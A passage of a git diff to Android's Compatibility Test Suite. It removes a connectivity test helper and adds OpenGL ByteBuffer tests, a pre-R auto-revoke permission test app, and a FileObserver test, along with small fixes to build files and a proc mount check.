-        mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
-        Network network = null;
-        try {
-            network = callback.waitForAvailable();
-        } catch (InterruptedException e) {
-            fail("NetworkCallback wait was interrupted.");
-        } finally {
-            mCm.unregisterNetworkCallback(callback);
-        }
-        assertNotNull("Cannot find Network for wifi. Is wifi connected?", network);
-        return network;
-    }
-
-    public Network connectToCell() throws InterruptedException {
-        if (cellConnectAttempted()) {
-            throw new IllegalStateException("Already connected");
-        }
-        NetworkRequest cellRequest = new NetworkRequest.Builder()
-                .addTransportType(TRANSPORT_CELLULAR)
-                .addCapability(NET_CAPABILITY_INTERNET)
-                .build();
-        mCellNetworkCallback = new TestNetworkCallback();
-        mCm.requestNetwork(cellRequest, mCellNetworkCallback);
-        final Network cellNetwork = mCellNetworkCallback.waitForAvailable();
-        assertNotNull("Cell network not available. " +
-                "Please ensure the device has working mobile data.", cellNetwork);
-        return cellNetwork;
-    }
-
-    public void disconnectFromCell() {
-        if (!cellConnectAttempted()) {
-            throw new IllegalStateException("Cell connection not attempted");
-        }
-        mCm.unregisterNetworkCallback(mCellNetworkCallback);
-        mCellNetworkCallback = null;
-    }
-
-    public boolean cellConnectAttempted() {
-        return mCellNetworkCallback != null;
-    }
-
-    private NetworkRequest makeWifiNetworkRequest() {
-        return new NetworkRequest.Builder()
-                .addTransportType(NetworkCapabilities.TRANSPORT_WIFI)
-                .build();
-    }
-
-    private void testHttpRequest(Socket s) throws IOException {
-        OutputStream out = s.getOutputStream();
-        InputStream in = s.getInputStream();
-
-        final byte[] requestBytes = HTTP_REQUEST.getBytes("UTF-8");
-        byte[] responseBytes = new byte[4096];
-        out.write(requestBytes);
-        in.read(responseBytes);
-        assertTrue(new String(responseBytes, "UTF-8").startsWith("HTTP/1.0 204 No Content\r\n"));
-    }
-
-    private Socket getBoundSocket(Network network, String host, int port) throws IOException {
-        InetSocketAddress addr = new InetSocketAddress(host, port);
-        Socket s = network.getSocketFactory().createSocket();
-        try {
-            s.setSoTimeout(SOCKET_TIMEOUT_MS);
-            s.connect(addr, SOCKET_TIMEOUT_MS);
-        } catch (IOException e) {
-            s.close();
-            throw e;
-        }
-        return s;
-    }
-
-    public void storePrivateDnsSetting() {
-        // Store private DNS setting
-        mOldPrivateDnsMode = Settings.Global.getString(mCR, Settings.Global.PRIVATE_DNS_MODE);
-        mOldPrivateDnsSpecifier = Settings.Global.getString(mCR,
-                Settings.Global.PRIVATE_DNS_SPECIFIER);
-        // It's possible that there is no private DNS default value in Settings.
-        // Give it a proper default mode which is opportunistic mode.
-        if (mOldPrivateDnsMode == null) {
-            mOldPrivateDnsSpecifier = "";
-            mOldPrivateDnsMode = PRIVATE_DNS_MODE_OPPORTUNISTIC;
-            Settings.Global.putString(mCR,
-                    Settings.Global.PRIVATE_DNS_SPECIFIER, mOldPrivateDnsSpecifier);
-            Settings.Global.putString(mCR, Settings.Global.PRIVATE_DNS_MODE, mOldPrivateDnsMode);
-        }
-    }
-
-    public void restorePrivateDnsSetting() throws InterruptedException {
-        if (mOldPrivateDnsMode == null || mOldPrivateDnsSpecifier == null) {
-            return;
-        }
-        // restore private DNS setting
-        if ("hostname".equals(mOldPrivateDnsMode)) {
-            setPrivateDnsStrictMode(mOldPrivateDnsSpecifier);
-            awaitPrivateDnsSetting("restorePrivateDnsSetting timeout",
-                    mCm.getActiveNetwork(),
-                    mOldPrivateDnsSpecifier, true);
-        } else {
-            Settings.Global.putString(mCR, Settings.Global.PRIVATE_DNS_MODE, mOldPrivateDnsMode);
-        }
-    }
-
-    public void setPrivateDnsStrictMode(String server) {
-        // To reduce flake rate, set PRIVATE_DNS_SPECIFIER before PRIVATE_DNS_MODE. This ensures
-        // that if the previous private DNS mode was not "hostname", the system only sees one
-        // EVENT_PRIVATE_DNS_SETTINGS_CHANGED event instead of two.
-        Settings.Global.putString(mCR, Settings.Global.PRIVATE_DNS_SPECIFIER, server);
-        final String mode = Settings.Global.getString(mCR, Settings.Global.PRIVATE_DNS_MODE);
-        // If current private DNS mode is "hostname", we only need to set PRIVATE_DNS_SPECIFIER.
-        if (!"hostname".equals(mode)) {
-            Settings.Global.putString(mCR, Settings.Global.PRIVATE_DNS_MODE, "hostname");
-        }
-    }
-
-    public void awaitPrivateDnsSetting(@NonNull String msg, @NonNull Network network,
-            @NonNull String server, boolean requiresValidatedServers) throws InterruptedException {
-        CountDownLatch latch = new CountDownLatch(1);
-        NetworkRequest request = new NetworkRequest.Builder().clearCapabilities().build();
-        NetworkCallback callback = new NetworkCallback() {
-            @Override
-            public void onLinkPropertiesChanged(Network n, LinkProperties lp) {
-                if (requiresValidatedServers && lp.getValidatedPrivateDnsServers().isEmpty()) {
-                    return;
-                }
-                if (network.equals(n) && server.equals(lp.getPrivateDnsServerName())) {
-                    latch.countDown();
-                }
-            }
-        };
-        mCm.registerNetworkCallback(request, callback);
-        assertTrue(msg, latch.await(PRIVATE_DNS_SETTING_TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        mCm.unregisterNetworkCallback(callback);
-        // Wait some time for NetworkMonitor's private DNS probe to complete. If we do not do
-        // this, then the test could complete before the NetworkMonitor private DNS probe
-        // completes. This would result in tearDown disabling private DNS, and the NetworkMonitor
-        // private DNS probe getting stuck because there are no longer any private DNS servers to
-        // query. This then results in the next test not being able to change the private DNS
-        // setting within the timeout, because the NetworkMonitor thread is blocked in the
-        // private DNS probe. There is no way to know when the probe has completed: because the
-        // network is likely already validated, there is no callback that we can listen to, so
-        // just sleep.
-        if (requiresValidatedServers) {
-            Thread.sleep(PRIVATE_DNS_PROBE_MS);
-        }
-    }
-
-    /**
-     * Receiver that captures the last connectivity change's network type and state. Recognizes
-     * both {@code CONNECTIVITY_ACTION} and {@code NETWORK_CALLBACK_ACTION} intents.
-     */
-    public static class ConnectivityActionReceiver extends BroadcastReceiver {
-
-        private final CountDownLatch mReceiveLatch = new CountDownLatch(1);
-
-        private final int mNetworkType;
-        private final NetworkInfo.State mNetState;
-        private final ConnectivityManager mCm;
-
-        public ConnectivityActionReceiver(ConnectivityManager cm, int networkType,
-                NetworkInfo.State netState) {
-            this.mCm = cm;
-            mNetworkType = networkType;
-            mNetState = netState;
-        }
-
-        public void onReceive(Context context, Intent intent) {
-            String action = intent.getAction();
-            NetworkInfo networkInfo = null;
-
-            // When receiving ConnectivityManager.CONNECTIVITY_ACTION, the NetworkInfo parcelable
-            // is stored in EXTRA_NETWORK_INFO. With a NETWORK_CALLBACK_ACTION, the Network is
-            // sent in EXTRA_NETWORK and we need to ask the ConnectivityManager for the NetworkInfo.
-            if (ConnectivityManager.CONNECTIVITY_ACTION.equals(action)) {
-                networkInfo = intent.getExtras()
-                        .getParcelable(ConnectivityManager.EXTRA_NETWORK_INFO);
-                assertNotNull("ConnectivityActionReceiver expected EXTRA_NETWORK_INFO",
-                        networkInfo);
-            } else if (NETWORK_CALLBACK_ACTION.equals(action)) {
-                Network network = intent.getExtras()
-                        .getParcelable(ConnectivityManager.EXTRA_NETWORK);
-                assertNotNull("ConnectivityActionReceiver expected EXTRA_NETWORK", network);
-                networkInfo = this.mCm.getNetworkInfo(network);
-                if (networkInfo == null) {
-                    // When disconnecting, it seems like we get an intent sent with an invalid
-                    // Network; that is, by the time we call ConnectivityManager.getNetworkInfo(),
-                    // it is invalid. Ignore these.
-                    Log.i(TAG, "ConnectivityActionReceiver NETWORK_CALLBACK_ACTION ignoring "
-                            + "invalid network");
-                    return;
-                }
-            } else {
-                fail("ConnectivityActionReceiver received unxpected intent action: " + action);
-            }
-
-            assertNotNull("ConnectivityActionReceiver didn't find NetworkInfo", networkInfo);
-            int networkType = networkInfo.getType();
-            State networkState = networkInfo.getState();
-            Log.i(TAG, "Network type: " + networkType + " state: " + networkState);
-            if (networkType == mNetworkType && networkInfo.getState() == mNetState) {
-                mReceiveLatch.countDown();
-            }
-        }
-
-        public boolean waitForState() throws InterruptedException {
-            return mReceiveLatch.await(CONNECTIVITY_CHANGE_TIMEOUT_SECS, TimeUnit.SECONDS);
-        }
-    }
-
-    /**
-     * Callback used in testRegisterNetworkCallback that allows caller to block on
-     * {@code onAvailable}.
-     */
-    public static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
-        private final CountDownLatch mAvailableLatch = new CountDownLatch(1);
-        private final CountDownLatch mLostLatch = new CountDownLatch(1);
-        private final CountDownLatch mUnavailableLatch = new CountDownLatch(1);
-
-        public Network currentNetwork;
-        public Network lastLostNetwork;
-
-        public Network waitForAvailable() throws InterruptedException {
-            return mAvailableLatch.await(CONNECTIVITY_CHANGE_TIMEOUT_SECS, TimeUnit.SECONDS)
-                    ? currentNetwork : null;
-        }
-
-        public Network waitForLost() throws InterruptedException {
-            return mLostLatch.await(CONNECTIVITY_CHANGE_TIMEOUT_SECS, TimeUnit.SECONDS)
-                    ? lastLostNetwork : null;
-        }
-
-        public boolean waitForUnavailable() throws InterruptedException {
-            return mUnavailableLatch.await(2, TimeUnit.SECONDS);
-        }
-
-
-        @Override
-        public void onAvailable(Network network) {
-            currentNetwork = network;
-            mAvailableLatch.countDown();
-        }
-
-        @Override
-        public void onLost(Network network) {
-            lastLostNetwork = network;
-            if (network.equals(currentNetwork)) {
-                currentNetwork = null;
-            }
-            mLostLatch.countDown();
-        }
-
-        @Override
-        public void onUnavailable() {
-            mUnavailableLatch.countDown();
-        }
-    }
-}
diff --git a/tests/tests/neuralnetworks/benchmark/Android.mk b/tests/tests/neuralnetworks/benchmark/Android.mk
index e6afeb4..dd69c5e 100644
--- a/tests/tests/neuralnetworks/benchmark/Android.mk
+++ b/tests/tests/neuralnetworks/benchmark/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_MULTILIB := both
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts mts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests mts
 
 LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules \
     compatibility-device-util-axt ctstestrunner-axt junit NeuralNetworksApiBenchmark_Lib
diff --git a/tests/tests/neuralnetworks/benchmark/AndroidTest.xml b/tests/tests/neuralnetworks/benchmark/AndroidTest.xml
index e122f67..3ca1791 100644
--- a/tests/tests/neuralnetworks/benchmark/AndroidTest.xml
+++ b/tests/tests/neuralnetworks/benchmark/AndroidTest.xml
@@ -26,6 +26,8 @@
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="com.android.nn.benchmark.cts" />
+        <!-- test-timeout unit is ms, value = 15 min -->
+        <option name="test-timeout" value="900000" />
     </test>
 
     <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
diff --git a/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java b/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java
index 80aaf00..a6a858a 100644
--- a/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java
@@ -16,36 +16,60 @@
 
 package android.opengl.cts;
 
+import static android.opengl.GLES30.GL_ARRAY_BUFFER;
 import static android.opengl.GLES30.GL_BUFFER_MAP_POINTER;
+import static android.opengl.GLES30.GL_COLOR_ATTACHMENT0;
 import static android.opengl.GLES30.GL_DYNAMIC_READ;
+import static android.opengl.GLES30.GL_FRAMEBUFFER;
+import static android.opengl.GLES30.GL_FRAMEBUFFER_COMPLETE;
 import static android.opengl.GLES30.GL_MAP_READ_BIT;
+import static android.opengl.GLES30.GL_NO_ERROR;
+import static android.opengl.GLES30.GL_R8;
+import static android.opengl.GLES30.GL_RED;
+import static android.opengl.GLES30.GL_RGBA;
+import static android.opengl.GLES30.GL_STATIC_DRAW;
+import static android.opengl.GLES30.GL_TEXTURE_2D;
 import static android.opengl.GLES30.GL_UNIFORM_BUFFER;
+import static android.opengl.GLES30.GL_UNSIGNED_BYTE;
 import static android.opengl.GLES30.glBindBuffer;
+import static android.opengl.GLES30.glBindFramebuffer;
+import static android.opengl.GLES30.glBindTexture;
 import static android.opengl.GLES30.glBufferData;
+import static android.opengl.GLES30.glCheckFramebufferStatus;
 import static android.opengl.GLES30.glDeleteBuffers;
+import static android.opengl.GLES30.glDeleteTextures;
+import static android.opengl.GLES30.glFramebufferTexture2D;
 import static android.opengl.GLES30.glGenBuffers;
+import static android.opengl.GLES30.glGenFramebuffers;
+import static android.opengl.GLES30.glGenTextures;
 import static android.opengl.GLES30.glGetBufferPointerv;
+import static android.opengl.GLES30.glGetError;
 import static android.opengl.GLES30.glMapBufferRange;
+import static android.opengl.GLES30.glReadPixels;
+import static android.opengl.GLES30.glTexImage2D;
 import static android.opengl.GLES30.glUnmapBuffer;
-
+import static android.opengl.GLES30.glViewport;
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 
 import androidx.test.filters.SmallTest;
-
+import java.nio.Buffer;
+import java.nio.ByteBuffer;
+import java.nio.IntBuffer;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.BlockJUnit4ClassRunner;
 
-import java.nio.Buffer;
-import java.nio.ByteBuffer;
-
 /**
- * Tests for functions that return a ByteBuffer.
+ * Tests for functions that return a ByteBuffer or accept a ByteBuffer as an argument
  */
 @SmallTest
 @RunWith(BlockJUnit4ClassRunner.class) // DO NOT USE AndroidJUnit4, it messes up threading
 public class ByteBufferTest extends GlTestBase {
+
+    private static final byte[] byteArray = {0, 63, 127, 127, 15};
+
     @Test
     public void testMapBufferRange() {
         // Always pass on ES 2.0
@@ -70,4 +94,63 @@
             glDeleteBuffers(1, buffer, 0);
         }
     }
+
+    @Test
+    public void testArrayBackedTexImage2d() throws Throwable {
+        IntBuffer textureHandles = IntBuffer.allocate(1);
+        ByteBuffer texelData = ByteBuffer.wrap(byteArray);
+        // Setting position to 1 will cause problems if the bindings don't
+        // correctly handle the buffer offset when releasing the pointer
+        texelData.position(1);
+        glGenTextures(1, textureHandles);
+        int textureHandle = textureHandles.get(0);
+        glBindTexture(GL_TEXTURE_2D, textureHandle);
+        glTexImage2D(GL_TEXTURE_2D, 0, GL_R8, 2, 2, 0, GL_RED, GL_UNSIGNED_BYTE, texelData);
+        assertEquals(glGetError(), GL_NO_ERROR);
+        glDeleteTextures(1, textureHandles);
+    }
+
+    @Test
+    public void testArrayBackedBufferData() throws Throwable {
+        IntBuffer bufferHandles = IntBuffer.allocate(1);
+        ByteBuffer bufferData = ByteBuffer.wrap(byteArray);
+        // Setting position to 1 will cause problems if the bindings don't
+        // correctly handle the buffer offset when releasing the pointer
+        bufferData.position(1);
+        glGenBuffers(1, bufferHandles);
+        int bufferHandle = bufferHandles.get(0);
+        glBindBuffer(GL_ARRAY_BUFFER, bufferHandle);
+        glBufferData(GL_ARRAY_BUFFER, 4, bufferData, GL_STATIC_DRAW);
+        assertEquals(glGetError(), GL_NO_ERROR);
+        glDeleteBuffers(1, bufferHandles);
+    }
+
+    @Test
+    public void testArraybackedFBTextureReadPixels() throws Throwable {
+        IntBuffer textureHandles = IntBuffer.allocate(1);
+        IntBuffer fboHandles = IntBuffer.allocate(1);
+        ByteBuffer texelData = ByteBuffer.wrap(byteArray);
+        ByteBuffer readBuffer = ByteBuffer.allocate(byteArray.length);
+        // Setting position to 1 will cause problems if the bindings don't
+        // correctly handle the buffer offset when releasing the pointer
+        texelData.position(1);
+        readBuffer.position(1);
+        glGenTextures(1, textureHandles);
+        int textureHandle = textureHandles.get(0);
+        glBindTexture(GL_TEXTURE_2D, textureHandle);
+        glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 1, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, texelData);
+        glGenFramebuffers(1, fboHandles);
+        int fbHandle = fboHandles.get(0);
+        glBindFramebuffer(GL_FRAMEBUFFER, fbHandle);
+        glViewport(0, 0, 1, 1);
+        glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, textureHandle, 0);
+        assertEquals(glCheckFramebufferStatus(GL_FRAMEBUFFER), GL_FRAMEBUFFER_COMPLETE);
+        glReadPixels(0, 0, 1, 1, GL_RGBA, GL_UNSIGNED_BYTE, readBuffer);
+        assertEquals(glGetError(), GL_NO_ERROR);
+        for (int i = 0; i < 4; i++) {
+            assertEquals(
+                texelData.get(i + texelData.position()), readBuffer.get(i + readBuffer.position()));
+        }
+        glDeleteTextures(1, textureHandles);
+    }
 }
diff --git a/tests/tests/os/Android.mk b/tests/tests/os/Android.mk
index 1b7938a..043578a2 100644
--- a/tests/tests/os/Android.mk
+++ b/tests/tests/os/Android.mk
@@ -14,6 +14,8 @@
 
 # platform version check (b/32056228)
 # ============================================================
+LOCAL_PATH:= $(call my-dir)
+
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := cts-platform-version-check
diff --git a/tests/tests/os/AutoRevokePreRApp/Android.bp b/tests/tests/os/AutoRevokePreRApp/Android.bp
new file mode 100644
index 0000000..254f9eb
--- /dev/null
+++ b/tests/tests/os/AutoRevokePreRApp/Android.bp
@@ -0,0 +1,30 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsAutoRevokePreRApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "test_current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "vts10",
+        "mts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java", "src/**/*.kt"],
+}
diff --git a/tests/tests/os/AutoRevokePreRApp/AndroidManifest.xml b/tests/tests/os/AutoRevokePreRApp/AndroidManifest.xml
new file mode 100644
index 0000000..972a19f
--- /dev/null
+++ b/tests/tests/os/AutoRevokePreRApp/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.os.cts.autorevokeprerapp">
+
+    <uses-permission android:name="android.permission.READ_CALENDAR" />
+
+    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="29" />
+    <application>
+        <activity android:name="android.os.cts.autorevokeprerapp.MainActivity"
+                  android:exported="true"
+                  android:visibleToInstantApps="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
+
diff --git a/tests/tests/os/AutoRevokePreRApp/src/android/os/cts/autorevokeprerapp/MainActivity.kt b/tests/tests/os/AutoRevokePreRApp/src/android/os/cts/autorevokeprerapp/MainActivity.kt
new file mode 100644
index 0000000..ad4066b
--- /dev/null
+++ b/tests/tests/os/AutoRevokePreRApp/src/android/os/cts/autorevokeprerapp/MainActivity.kt
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts.autorevokeprerapp
+
+import android.app.Activity
+import android.os.Bundle
+
+class MainActivity : Activity() {
+
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+
+        requestPermissions(arrayOf("android.permission.READ_CALENDAR"), 0)
+    }
+}
diff --git a/tests/tests/os/CtsOsTestCases.xml b/tests/tests/os/CtsOsTestCases.xml
index 193eb0f..72902e68 100644
--- a/tests/tests/os/CtsOsTestCases.xml
+++ b/tests/tests/os/CtsOsTestCases.xml
@@ -46,5 +46,6 @@
     <!-- Load additional APKs onto device -->
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="push" value="CtsAutoRevokeDummyApp.apk->/data/local/tmp/cts/os/CtsAutoRevokeDummyApp.apk" />
+        <option name="push" value="CtsAutoRevokePreRApp.apk->/data/local/tmp/cts/os/CtsAutoRevokePreRApp.apk" />
     </target_preparer>
 </configuration>
diff --git a/tests/tests/os/jni/android_os_cts_CpuInstructions.cpp b/tests/tests/os/jni/android_os_cts_CpuInstructions.cpp
index 15006f0..c8cf735 100644
--- a/tests/tests/os/jni/android_os_cts_CpuInstructions.cpp
+++ b/tests/tests/os/jni/android_os_cts_CpuInstructions.cpp
@@ -28,11 +28,6 @@
     siglongjmp(jmpenv, 1);
 }
 
-static int do_sigsetjmp()
-{
-    return sigsetjmp(jmpenv, 1);
-}
-
 static jboolean test_instruction(void (*func)())
 {
     struct sigaction sigill_act;
@@ -49,7 +44,7 @@
         goto err_sigaction;
     }
 
-    if (do_sigsetjmp()) {
+    if (sigsetjmp(jmpenv, 1)) {
         ret = false;
         goto err_segill;
     }
diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
index 357e9c7..ab22e7e 100644
--- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
+++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
@@ -22,6 +22,7 @@
 import android.content.pm.PackageManager
 import android.content.pm.PackageManager.PERMISSION_DENIED
 import android.content.pm.PackageManager.PERMISSION_GRANTED
+import android.content.res.Resources
 import android.net.Uri
 import android.platform.test.annotations.AppModeFull
 import android.provider.DeviceConfig
@@ -31,10 +32,17 @@
 import android.test.InstrumentationTestCase
 import android.view.accessibility.AccessibilityNodeInfo
 import android.widget.Switch
-import com.android.compatibility.common.util.*
 import com.android.compatibility.common.util.textAsString
 import com.android.compatibility.common.util.MatcherUtils.hasTextThat
-import com.android.compatibility.common.util.SystemUtil.*
+import com.android.compatibility.common.util.SystemUtil
+import com.android.compatibility.common.util.SystemUtil.runShellCommand
+import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import com.android.compatibility.common.util.ThrowingSupplier
+import com.android.compatibility.common.util.UiAutomatorUtils
+import com.android.compatibility.common.util.click
+import com.android.compatibility.common.util.depthFirstSearch
+import com.android.compatibility.common.util.lowestCommonAncestor
+import com.android.compatibility.common.util.uiDump
 import org.hamcrest.CoreMatchers.containsString
 import org.hamcrest.CoreMatchers.containsStringIgnoringCase
 import org.hamcrest.Matcher
@@ -46,6 +54,8 @@
 
 private const val APK_PATH = "/data/local/tmp/cts/os/CtsAutoRevokeDummyApp.apk"
 private const val APK_PACKAGE_NAME = "android.os.cts.autorevokedummyapp"
+private const val APK_PATH_2 = "/data/local/tmp/cts/os/CtsAutoRevokePreRApp.apk"
+private const val APK_PACKAGE_NAME_2 = "android.os.cts.autorevokeprerapp"
 private const val READ_CALENDAR = "android.permission.READ_CALENDAR"
 
 /**
@@ -53,6 +63,9 @@
  */
 class AutoRevokeTest : InstrumentationTestCase() {
 
+    private val mPermissionControllerResources: Resources = context.createPackageContext(
+            context.packageManager.permissionControllerPackageName, 0).resources
+
     companion object {
         const val LOG_TAG = "AutoRevokeTest"
     }
@@ -105,7 +118,7 @@
 
                 // Run
                 runAutoRevoke()
-                Thread.sleep(500)
+                Thread.sleep(1000)
 
                 // Verify
                 assertPermission(PERMISSION_GRANTED)
@@ -114,6 +127,47 @@
     }
 
     @AppModeFull(reason = "Uses separate apps for testing")
+    fun testPreRUnusedApp_doesntGetPermissionRevoked() {
+        wakeUpScreen()
+        withUnusedThresholdMs(3L) {
+            withDummyApp(APK_PATH_2, APK_PACKAGE_NAME_2) {
+                withDummyApp {
+                    startApp(APK_PACKAGE_NAME_2)
+                    clickPermissionAllow()
+                    eventually {
+                        assertPermission(PERMISSION_GRANTED, APK_PACKAGE_NAME_2)
+                    }
+
+                    goBack()
+                    goHome()
+                    goBack()
+
+                    startApp()
+                    clickPermissionAllow()
+                    eventually {
+                        assertPermission(PERMISSION_GRANTED)
+                    }
+
+                    goBack()
+                    goHome()
+                    goBack()
+                    Thread.sleep(20)
+
+                    // Run
+                    runAutoRevoke()
+                    Thread.sleep(500)
+
+                    // Verify
+                    eventually {
+                        assertPermission(PERMISSION_DENIED)
+                        assertPermission(PERMISSION_GRANTED, APK_PACKAGE_NAME_2)
+                    }
+                }
+            }
+        }
+    }
+
+    @AppModeFull(reason = "Uses separate apps for testing")
     fun testAutoRevoke_userWhitelisting() {
         wakeUpScreen()
         withUnusedThresholdMs(4L) {
@@ -261,8 +315,17 @@
     }
 
     private fun clickPermissionAllow() {
-        waitFindObject(By.res("com.android.permissioncontroller:id/permission_allow_button"))
-                .click()
+        if (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            waitFindObject(By.text(Pattern.compile(
+                    Pattern.quote(mPermissionControllerResources.getString(
+                            mPermissionControllerResources.getIdentifier(
+                                    "grant_dialog_button_allow", "string",
+                                    "com.android.permissioncontroller"))),
+                    Pattern.CASE_INSENSITIVE or Pattern.UNICODE_CASE))).click()
+        } else {
+            waitFindObject(By.res("com.android.permissioncontroller:id/permission_allow_button"))
+                    .click()
+        }
     }
 
     private inline fun withDummyApp(
@@ -284,7 +347,8 @@
         runWithShellPermissionIdentity {
             assertEquals(
                 permissionStateToString(state),
-                permissionStateToString(context.packageManager.checkPermission(READ_CALENDAR, APK_PACKAGE_NAME)))
+                permissionStateToString(
+                        context.packageManager.checkPermission(READ_CALENDAR, packageName)))
         }
     }
 
diff --git a/tests/tests/os/src/android/os/cts/EnvironmentTest.java b/tests/tests/os/src/android/os/cts/EnvironmentTest.java
index 4f934fb..2ce40fe 100644
--- a/tests/tests/os/src/android/os/cts/EnvironmentTest.java
+++ b/tests/tests/os/src/android/os/cts/EnvironmentTest.java
@@ -85,8 +85,9 @@
                 final String source = fields[0];
                 final String options = fields[3];
 
-                if (source.equals("proc") && !options.contains("hidepid=2")) {
-                    fail("proc filesystem mounted without hidepid=2");
+                if (source.equals("proc") && !options.contains("hidepid=2")
+                        && !options.contains("hidepid=invisible")) {
+                    fail("proc filesystem mounted without hidepid=2 or hidepid=invisible");
                 }
             }
         }
diff --git a/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java b/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java
new file mode 100644
index 0000000..c779f8a
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java
@@ -0,0 +1,182 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import android.content.ContentValues;
+import android.content.Context;
+import android.net.Uri;
+import android.os.ConditionVariable;
+import android.os.FileObserver;
+import android.provider.MediaStore;
+import android.test.AndroidTestCase;
+import java.io.File;
+import java.io.OutputStream;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+
+public class FileObserverLegacyPathTest extends AndroidTestCase {
+    ConditionVariable mCond;
+    Context mContext;
+    File mTestDir;
+
+    @Override
+    protected void setUp() throws Exception {
+        mContext = getContext();
+        mCond = new ConditionVariable();
+
+        mTestDir = new File("/sdcard/DCIM/testdir");
+        mTestDir.delete();
+        mTestDir.mkdirs();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        mTestDir.delete();
+    }
+
+    /* This test creates a jpg image file and write some test data to that
+     * file.
+     * It verifies that FileObserver is able to catch the CREATE, OPEN and
+     * MODIFY events on that file, ensuring that, in the case of a FUSE mounted
+     * file system, changes applied to the lower file system will be detected
+     * by a monitored FUSE folder.
+     * Instead of checking if the set of generated events if exactly the same
+     * as the set of expected events, the test checks if the set of generated
+     * events contains CREATE, OPEN and MODIFY. This because there may be other
+     * services (e.g., file indexing) that may access the newly created file,
+     * generating spurious events that this test doesn't care of and filters
+     * them out. */
+    public void testCreateFile() throws Exception {
+        String imageName = "image" + System.currentTimeMillis() + ".jpg";
+
+        final Integer eventsMask = FileObserver.OPEN | FileObserver.CREATE | FileObserver.MODIFY;
+        PathFileObserver fileObserver =
+                new PathFileObserver(mTestDir, eventsMask, mCond, Map.of(imageName, eventsMask));
+        fileObserver.startWatching();
+
+        ContentValues cv = new ContentValues();
+        cv.put(MediaStore.Files.FileColumns.DISPLAY_NAME, imageName);
+        cv.put(MediaStore.Files.FileColumns.RELATIVE_PATH, "DCIM/testdir");
